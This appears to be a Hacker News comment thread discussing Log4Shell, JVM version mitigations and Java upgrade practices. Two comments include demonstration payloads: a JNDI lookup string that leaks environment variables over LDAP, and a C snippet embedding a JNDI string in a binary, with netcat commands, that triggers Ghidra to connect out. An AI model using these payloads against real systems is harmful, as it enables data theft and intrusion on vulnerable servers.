by mooreds · 4y ago · 0 comments
But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.
From https://www.veracode.com/blog/security-news/urgent-analysis-...
JVM version - if lower than:
Java 6 – 6u212 (java6 first released in 2006, this version appears unreleased?)
Java 7 – 7u202 (java7 first released in 2011 this version appears unreleased?)
Java 8 – 8u192 (from 2018)
Java 11 - 11.0.2 (from 2019)
The current version of java is java17. Anything running on 17 or 14 (the last major release) isn't vulnerable.Now, I get that major version upgrades are a hassle, but I haven't seen anyone address the "hey, you should have upgraded" elephant in the room.
(All java release dates from https://www.java.com/releases/ )
Please stop repeating this. The only attack that won't work on newer JVM versions is the one based on the LDAP server returning an ObjectFactory that redirects to a class file based on another remote HTTP server. However, that's absolutely not the only attack vector. LDAP itself has other attacks that are possible, and there are other JNDI integrations that also have different attacks, amongst other things, related to Java serialization (and once you can de-serialize bytes on someone's JVM, you have a smorgasbord of attack vectors to play with).
If your log4j version is resolving JNDI strings, you are NOT SAFE regardless of which JVM version you're using.
To clarify, the vulnerability would make it possible to post server environment variables to any remote server, regardless of JRE version. That could easily end up being as catastrophic as an RCE.
I've been able to achieve RCE as well by still using LDAP, but a different lookup mechanism (if you learn about LDAP, you'll quickly realize there's several ways to do this). RCE does not require remote class loading, that's just the easiest way to achieve it.
If your JVM triggered the evaluation of any unsafe jndi string, you should assume an RCE is very likely possible on your environment.
Which makes sense, on a message board (which HN is) the feature is mostly supposed to allow quick fixes over minor errors, not retroactive editorial work.
Some lame anecdotes:
Minecraft ships with a bundled version of Java 8. Most linux distributions still default to Java 11, and you have to explicitly ask for newer JDKs. Some distributions, like Void Linux, still only package Java 11. Many enterprise applications don't even use the system Java environments, and package their own outdated version of Java, sometimes in /opt, sometimes in their installation directory on Windows.
(edit: to this point, Minecraft apparently ships with 1.8.0_51 from 2015, and I'm sure I've seen similar with some Java applications at work. I imagine for programs that aren't servers listening on the network, the threat of exploitation seemed lower, and there was less of an (perceived) need to update even the version of Java. If it ain't broke, don't fix it, and all that.)
Regardless of the fact people should upgrade to newer Java versions, the reality is (IME) they ... haven't. And so many (very large!) corporations are relying on vulnerable versions of Java, which is why this is such a big deal.
That's why Java 11 has been receiving updates (latest one, 11.0.13, dates from October 2021) while Java 12, for example, got its last release (12.0.2) in 2019.
Now that Java 17 (released two months ago) is the new Java LTS version, you could expect most distributions to package it. For example, Ubuntu has been offering Java 17 for a couple of months.
A lot are still stuck on 8, and aren't even compatible with 11, much less 15 or 17. I think VMWare's vCenter software still uses Java 8 internally...
IMO, this is entirely Oracle's fault, for ramming through modules and --add-opens requirements starting in Java 9 that broke almost everything for no good reason.
Modules, however, are related to those issues in that now when their encapsulation has finally been turned on (in 16 and 17), they will do their job of preventing this problem of bypassing the spec from recurring (the application is able to grant internal access to a library, but at least it knows there might be a potential maintenance and/or security issue to keep an eye on when it does).
Modules in Java 9 were a bit controversial back then, so I guess that's the reason we hear a lot about it, but I haven't encountered an issue related to modules even once.
Most of the migration work that was needed was just upgrading libraries, or adding new dependencies for Java EE APIs that moved out of the JDK.
And why libraries were incompatible? Relying on undocumented internals is one thing, but the funny thing is that a surprisingly large number of libraries broke because they relied on the format of the Java version string. When it changed from 1.8 to 9.0, they suddenly saw a "Java Version 0" and didn't know what to do with it.
> they will do their job of preventing this problem of bypassing the spec from recurring
This feels like curing cancer by killing the patient.
This would certainly have broken a large number of software, but it's the right way to go. Whichever way you define the "compatibility promise", I think security overrides that.
At least it looks like Oracle is going this way[1], I just wish that it would have been sooner.
For the longest time, it was 6, then 8, and it stayed on 8 for years. Iirc 1.17 was a jump to Java 16 after a lot of internal reworking, and I guess with Java 17 being LTS, thats why they've moved to that.
It should still not be a big deal, because there are mitigations in place for Java 11 and Java 8 - just upgrade to the latest patch revision: 11.0.2 and 1.8.0_192 or later exactly like an operating system security patch. Right now, it just feels like a big deal because everyone likes to pile on Java.
> JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector.
So people just need to stay up to date on the latest patch version. Latest 8x is 8u312 and 11x is 11.0.13.
So Java 11 and 8 have some mitigation already in place, but people need to be applying patches like they should for all other critical system software.
I know Microsoft just threw the keyboard at the wall and said "fuck it everyone gets forced to update".
Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.
${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}
I don't think this is the lesson to take away here. Arbitrary remote read of environment variables is not a common issue.
Also you can easily not propagate secrets to a child process. But there isn't a ton of point to that on most systems since if you can't trust your child process just not passing in the secret is not gonna cut it.
Command line argument would be visible in the process table, hopefully no one would suggest that. It also is not persistent, so it generally needs to be fed from someplace anyway. Generally a file. This is something it shares with environment variables.
Files in /tmp that your application deletes immediately after read is another.
But even if folks are okay on java8 (first released in 2014!) there is a version of java8 that is not vulnerable and it has been around for 3 years.
Also, current JDK versions are still vulnerable: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
Plus if you're working on legacy app servers, you're bound to whatever they are running outside of what you actual application supports. Then add in the whole JaveEE -> JakartaEE transition that was ladled on top of the JDK 8-> 11 transition, and it wasn't just a can of worms, but a kettle of fish and a barrel of monkeys all at once.
If no functional changes are required, software should be just fine running for decades.
Not every company is able to spend on continous development. Often times rewriting something ends up a big cost that never pays for itself.
__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}
compile this with gcc, listen on port 1234 in netcat
# gcc main.c -o main
# nc -lp 1234Launch Ghidra, confirm that it is using OpenJDK 11.0.11, and then open the built binary. It absolutely connects to localhost port 1234 and spits out some garbage there. Perhaps it does not have RCE impacts but it does cause the system to do something unintended and could expose IP addresses or other aspects of the running environment.
Java received a new LTS release this year. In the three years between Java 11 and the latest LTS there were six new releases. That's a lot of releases, and you can easily end up with a dependency that doesn't work with a new version of Java yet before the working version goes out of support.
Also, the update advice only works for the very specific demo exploit. Other exploits still work, so you'll need to update the library itself.
Java backward compatibility is really good, even better when it's on the same major I don't see why you shouldn't update. You have a docker image with java, just pull the base image before you build, you run it bare you/need to update the server packages periodically, better if you have unattended update setup (default in recent ubuntu versions tho might need a server restart for some to apply) It's not like between java updates there aren't any security fixes, there are so you should update.
Nevertheless other mitigations like not exposing internal services to the internet would have blocked these attempts.
In the JS or NodeJS world, sure. For pretty much everyone else, not so much.
If you are an enterprise company that runs 3 year old java version then
1) Your CSO and CIO should all be fired
2) Your security team should be replaced
3) Your ISO 27001 and SOC2 certification among others should be revoked
As other comments mentioned even with a patched JDK you are still vulnerable in other ways, but the specific method this whole thread is about seems to have patches in Java 8 and 11 releases.
I understand that lagging new major releases by years and be prudent for different apps, but there is no excuse not to be updating your patch versions.
It can be Java 8, but please use one with actively developed security patches.
tl;dr: upgrade your version of log4j.
That makes patching the issue pretty trivial then, right? Anyone deploying production software should be updating their minor versions anyway.
Going from something obvious, to something that has no immediate relationship to java, jdk, or anything related. :/
I guess people will have to learn to remember it over time.
Even though Adoptium has some big names backing it, they aren't big contributors to Java. This is relevant because it implies they get access to not-yet-publicly-diclosed vulnerabilities and the corresponding patches later than other projects. Rather, one should try to use a distribution by one of the major contributors, for example Red Hat or SAP.
Since I cannot currently provide the source and I cannot personally verify this either, take this with a grain of salt.
When they became an Eclipse project, the Eclipse Foundation was concerned that "AdoptOpenJDK" might lead to trademark problems with Oracle, given that "OpenJDK" is an Oracle trademark. Absent explicit permission from Oracle to use a name incorporating "OpenJDK" (which has not been received), Eclipse said the name had to change.